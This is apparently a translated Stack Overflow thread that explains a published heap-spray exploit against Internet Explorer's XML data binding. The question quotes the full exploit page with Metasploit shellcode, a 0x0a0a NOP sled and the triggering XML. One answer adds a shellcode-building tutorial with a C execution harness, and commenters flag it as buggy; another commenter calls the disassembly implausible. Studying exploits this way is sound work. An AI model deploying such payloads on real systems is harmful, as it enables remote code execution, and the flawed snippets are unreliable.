¿Cómo funciona este exploit de rociado de pilas de milw0rm?

145

Por lo general, no tengo dificultades para leer el código JavaScript, pero para este no puedo entender la lógica. El código es de un exploit que se publicó hace 4 días. Puedes encontrarlo en milw0rm .

Aquí está el código:

<html>
    <div id="replace">x</div>
    <script>
        // windows/exec - 148 bytes
        // http://www.metasploit.com
        // Encoder: x86/shikata_ga_nai
        // EXITFUNC=process, CMD=calc.exe
        var shellcode = unescape("%uc92b%u1fb1%u0cbd%uc536%udb9b%ud9c5%u2474%u5af4%uea83%u31fc%u0b6a%u6a03%ud407%u6730%u5cff%u98bb%ud7ff%ua4fe%u9b74%uad05%u8b8b%u028d%ud893%ubccd%u35a2%u37b8%u4290%ua63a%u94e9%u9aa4%ud58d%ue5a3%u1f4c%ueb46%u4b8c%ud0ad%ua844%u524a%u3b81%ub80d%ud748%u4bd4%u6c46%u1392%u734a%u204f%uf86e%udc8e%ua207%u26b4%u04d4%ud084%uecba%u9782%u217c%ue8c0%uca8c%uf4a6%u4721%u0d2e%ua0b0%ucd2c%u00a8%ub05b%u43f4%u24e8%u7a9c%ubb85%u7dcb%ua07d%ued92%u09e1%u9631%u5580");

        // ugly heap spray, the d0nkey way!
        // works most of the time
        var spray = unescape("%u0a0a%u0a0a");

        do {
           spray += spray;
        } while(spray.length < 0xd0000);

        memory = new Array();

        for(i = 0; i < 100; i++)
           memory[i] = spray + shellcode;

        xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>";

        tag = document.getElementById("replace");
        tag.innerHTML = xmlcode;

    </script>
</html>

Esto es lo que creo que hace y me gustaría que me ayudaras en la parte que no entiendo.

La variable shellcodecontiene el código para abrir el calc.exe. No entiendo cómo han encontrado esa cuerda extraña. ¿Alguna idea?

Lo segundo es la variable spray. No entiendo este extraño bucle.

Lo tercero es la variable memoryque nunca se usa en ningún lado. ¿Por qué lo crean?

Lo último: ¿qué hace la etiqueta XML en la página?


Por el momento tengo buenas respuestas pero sobre todo muy generales. Quisiera más explicaciones sobre el valor del código. Un ejemplo es unescape("%u0a0a%u0a0a");. Qué significa eso? Lo mismo para el bucle: ¿por qué escribió el desarrollador length < 0xd0000:? Me gustaría una comprensión más profunda, no solo la teoría de este código.

Patrick Desjardins
fuente
Debería buscar en la pulverización en montón: en.wikipedia.org/wiki/Heap_spraying
BobbyShaftoe
¿Cómo ejecutamos con éxito este exploit? ¿Tenemos que ejecutarlo en IE?
bad_keypoints

Respuestas:

320

El shellcode contiene algunas instrucciones de ensamblaje x86 que harán el exploit real. spraycrea una larga secuencia de instrucciones que se incluirán memory. Como generalmente no podemos encontrar la ubicación exacta de nuestro shellcode en la memoria, ponemos muchas nopinstrucciones antes y saltamos a algún lugar allí. La memorymatriz contendrá el código x86 real junto con el mecanismo de salto. Alimentaremos el XML creado a la biblioteca que tiene un error. Cuando se analiza, el error hará que el registro del puntero de instrucción se asigne a algún lugar de nuestro exploit, lo que lleva a la ejecución de código arbitrario.

Para comprender más profundamente, en realidad debería averiguar qué hay en el código x86. unscapese usará para poner la secuencia de bytes representados de la cadena en la sprayvariable. Es un código x86 válido que llena una gran parte del montón y salta al inicio del shellcode. La razón de la condición final son las limitaciones de longitud de cadena del motor de secuencias de comandos. No puede tener cadenas más grandes que una longitud específica.

En el ensamblaje x86, 0a0arepresenta or cl, [edx]. Esto es efectivamente equivalente a la nopinstrucción para los propósitos de nuestro exploit. Dondequiera que saltemos spray, llegaremos a la siguiente instrucción hasta llegar al shellcode, que es el código que realmente queremos ejecutar.

Si observa el XML, verá 0x0a0aque también está allí. La descripción exacta de lo que sucede requiere un conocimiento específico del exploit (tienes que saber dónde está el error y cómo se explota, lo cual no sé). Sin embargo, parece que forzamos a Internet Explorer a activar el código defectuoso configurando innerHtmlesa cadena XML maliciosa. Internet Explorer intenta analizarlo y el código con errores de alguna manera le da control a una ubicación de memoria donde existe la matriz (dado que es un gran fragmento, la probabilidad de saltar allí es alta). Cuando saltamos allí, la CPU seguirá ejecutando or cl, [edx]instrucciones hasta que llegue al principio del shellcode que se guarda en la memoria.

He desmontado el shellcode:

00000000  C9                leave
00000001  2B1F              sub ebx,[edi]
00000003  B10C              mov cl,0xc
00000005  BDC536DB9B        mov ebp,0x9bdb36c5
0000000A  D9C5              fld st5
0000000C  2474              and al,0x74
0000000E  5A                pop edx
0000000F  F4                hlt
00000010  EA8331FC0B6A6A    jmp 0x6a6a:0xbfc3183
00000017  03D4              add edx,esp
00000019  07                pop es
0000001A  67305CFF          xor [si-0x1],bl
0000001E  98                cwde
0000001F  BBD7FFA4FE        mov ebx,0xfea4ffd7
00000024  9B                wait
00000025  74AD              jz 0xffffffd4
00000027  058B8B028D        add eax,0x8d028b8b
0000002C  D893BCCD35A2      fcom dword [ebx+0xa235cdbc]
00000032  37                aaa
00000033  B84290A63A        mov eax,0x3aa69042
00000038  94                xchg eax,esp
00000039  E99AA4D58D        jmp 0x8dd5a4d8
0000003E  E5A3              in eax,0xa3
00000040  1F                pop ds
00000041  4C                dec esp
00000042  EB46              jmp short 0x8a
00000044  4B                dec ebx
00000045  8CD0              mov eax,ss
00000047  AD                lodsd
00000048  A844              test al,0x44
0000004A  52                push edx
0000004B  4A                dec edx
0000004C  3B81B80DD748      cmp eax,[ecx+0x48d70db8]
00000052  4B                dec ebx
00000053  D46C              aam 0x6c
00000055  46                inc esi
00000056  1392734A204F      adc edx,[edx+0x4f204a73]
0000005C  F8                clc
0000005D  6E                outsb
0000005E  DC8EA20726B4      fmul qword [esi+0xb42607a2]
00000064  04D4              add al,0xd4
00000066  D084ECBA978221    rol byte [esp+ebp*8+0x218297ba],1
0000006D  7CE8              jl 0x57
0000006F  C0CA8C            ror dl,0x8c
00000072  F4                hlt
00000073  A6                cmpsb
00000074  47                inc edi
00000075  210D2EA0B0CD      and [0xcdb0a02e],ecx
0000007B  2CA8              sub al,0xa8
0000007D  B05B              mov al,0x5b
0000007F  43                inc ebx
00000080  F4                hlt
00000081  24E8              and al,0xe8
00000083  7A9C              jpe 0x21
00000085  BB857DCBA0        mov ebx,0xa0cb7d85
0000008A  7DED              jnl 0x79
0000008C  92                xchg eax,edx
0000008D  09E1              or ecx,esp
0000008F  96                xchg eax,esi
00000090  315580            xor [ebp-0x80],edx

La comprensión de este shellcode requiere conocimiento de ensamblado x86 y el problema en la biblioteca de MS en sí (para saber cuál es el estado del sistema cuando llegamos aquí), ¡no JavaScript! Este código a su vez se ejecutará calc.exe.

Mehrdad Afshari
fuente
13
Agradezco este esfuerzo de su parte por esta explicación. +25 reputaciones y todo mi respeto. Gracias
Patrick Desjardins
20
gran respuesta pero buen señor - de repente no soy bueno con la computadora ;-)
nombre de usuario
50
Me sorprenden las personas que logran crear este tipo de hazañas. Si son lo suficientemente inteligentes como para hackear la cuenta bancaria de alguien con esto, se merecen todo el dinero que pueden robar;)
Martin
8
Si hubiera un santuario de buenas respuestas para SO, esto estaría en él.
San Jacinto
66
El desmontaje parece absurdo y completamente al azar. Eso no puede estar correcto. Traté de intercambiar bytes, suponiendo que los caracteres en una cadena estaban almacenados en little-endian, pero no sirvió de nada.
Juho Östman
10

Esto parece una hazaña del reciente error de Internet Explorer para el que Microsoft lanzó el parche de emergencia. Utiliza una falla en la función de enlace de datos del controlador XML de Microsoft, que hace que la memoria del montón se desasigne incorrectamente.

Shellcode es un código de máquina que se ejecutará cuando ocurra el error. La pulverización y la memoria son solo un espacio asignado en el montón para ayudar a que se produzca la condición explotable.

Tim Farley
fuente
¿Crees que algo así podría pasar con las extensiones de Chrome?
bad_keypoints
2

Cada vez que veo memoria que no se aborda en una discusión sobre exploits, mi primer pensamiento es que el exploit es una especie de desbordamiento del búfer, en cuyo caso la memoria está causando que el búfer se desborde o se acceda una vez que el búfer se desborda .

Brian
fuente
En este caso, no fue una corrupción de montón, desbordamiento de búfer basado en montón o desbordamiento de búfer basado en pila: blogs.msdn.com/sdl/archive/2008/12/18/ms08-078-and-the-sdl.aspx
Grant Wagner
0

Esto es de metasploit, eso significa que está usando uno de los códigos de shell de metasploit. Es de código abierto para que pueda ir y obtenerlo: http://www.metasploit.com/

Dr. mal
fuente
0

Ejemplo simple de shellcode

Hola mundo en ensamblaje en la sintaxis de xT x86, creo (Wizard in Training)

configurar el archivo:vim shellcodeExample.s

.text           #required
.goblal _start  #required

_start:         #main function
 jmp one        #jump to the section labeled one:

two:
 pop  %rcx         #pop %rcx off the stack, or something
 xor  %rax, %rax   #Clear
 movl 4, %rax      #use sys_write(printf || std::cout)
 xor  %rbx, %rbx   #Clear
 inc  %rbx         #increment %rbx to 1 stdout(terminal)
 xor  %rdx, %rdx   #Clear Registers or something
 movb $13, %dl     #String Size
 int  $0x80

one:
 call two                   #jump up to section two:
 .ascii "Hello World\r\n"   #make the string one of the starting memory 
                            #^-addresses

compilar así:as -o shellcodeExample.o shellcodeExample.s ; ld -s -o shellcode shellcodeExample.o

Ahora tienes un binario que imprime hola mundo. para convertir el binario en código de shell escriba:objdump -D shellcode

obtendrá la salida:

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400078 <.text>:
  400078:   eb 1a                   jmp    0x400094
  40007a:   59                      pop    %rcx
  40007b:   48 31 c0                xor    %rax,%rax
  40007e:   b0 04                   mov    $0x4,%al
  400080:   48 31 db                xor    %rbx,%rbx
  400083:   48 ff c3                inc    %rbx
  400086:   48 31 d2                xor    %rdx,%rdx
  400089:   b2 0d                   mov    $0xd,%dl
  40008b:   cd 80                   int    $0x80
  40008d:   b0 01                   mov    $0x1,%al
  40008f:   48 ff cb                dec    %rbx
  400092:   cd 80                   int    $0x80
  400094:   e8 e1 ff ff ff          callq  0x40007a
  400099:   68 65 6c 6c 6f          pushq  $0x6f6c6c65
  40009e:   20 77 6f                and    %dh,0x6f(%rdi)
  4000a1:   72 6c                   jb     0x40010f
  4000a3:   64                      fs
  4000a4:   0d                      .byte 0xd
  4000a5:   0a                      .byte 0xa

Ahora, si observa la cuarta línea con texto, verá: 400078: eb 1a jmp 0x400094

la parte que dice eb 1aes la representación hexadecimal de la instrucción de ensamblaje jmp onedonde "uno" es la dirección de memoria de su cadena.

Para preparar su shellcode para la ejecución, abra otro archivo de texto y almacene los valores hexadecimales en una matriz de caracteres. Para formatear el código de shell correctamente, escriba un \xantes de cada valor hexadecimal.

el próximo ejemplo de código de shell tendrá el siguiente aspecto según la salida del comando objdump:

unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

Este ejemplo usa C para la matriz. Ahora tiene un shellcode funcional que escribirá en stdout "hello world"

puede probar el código de shell colocándolo en una vulnerabilidad o puede escribir el siguiente programa c para probarlo:

vim execShellcode.cc; //linux command to create c file.

/*Below is the content of execShellcode.cc*/
unsigned char PAYLOAD[] = 
"\xeb\x1a\x59\x48\x31\xc0\xb0\x04\x48\x31\xdb\x48\xff\xc3\x48\x31\xd2\xb2\xd0\xcd\x80\xb0\x01\x48\xff\xcb\xcd\x80\xe8\xe1\xff\xff\xff\x68\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x0d\x0a";

int main(){
    ((void(*)(void))PAYLOAD)();
    return 0;
}

Para compilar el programa, escriba:

gcc -fno-stack-protector -z execstack execShellcode.cc -o run

ejecute con ./run Usted sabe que tiene un ejemplo funcional de desarrollo simple de shellcode que se probó en linux mint / debian.

marc_s
fuente
1
No use el int 0x80ABI de 32 bits en el código de 64 bits. Fallará para las cadenas en la pila, porque el núcleo solo mira los 32 bits bajos de los argumentos de syscall. ¿Qué sucede si usa la ABI de Linux int 0x80 de 32 bits en código de 64 bits? . (En ese caso, crearía un bucle infinito, porque sys_writeregresaría -EFAULTy mov $1, %aldejaría los bits superiores establecidos, por lo que obtendrá en -ENOSYSlugar de sys_exit). Además, en el código de 64 bits puede simplemente jmpreenviar la cadena y usar un pariente RIP leapara obtener la dirección, en lugar de llamar / pop.
Peter Cordes
1
Esto también fallará para gcc que construye ejecutables PIE por defecto, porque incluso su matriz de caracteres de almacenamiento estático estará fuera de los 32 bits bajos. (Y, por cierto, si fuera const char payload[]así, estaría en el segmento de texto (en la sección .rodata) y no lo necesitarías -z execstack.)
Peter Cordes
1
Además, movl 4, %raxcontiene un byte cero (y no se ensamblará debido a la falta de coincidencia de tamaño de operando, y le falta un, $por lo que el 4 es una dirección absoluta). Creo que publicaste una versión anterior de tu fuente. Mis comentarios anteriores son de mirar el desensamblaje donde agregaste una sys_exitllamada.
Peter Cordes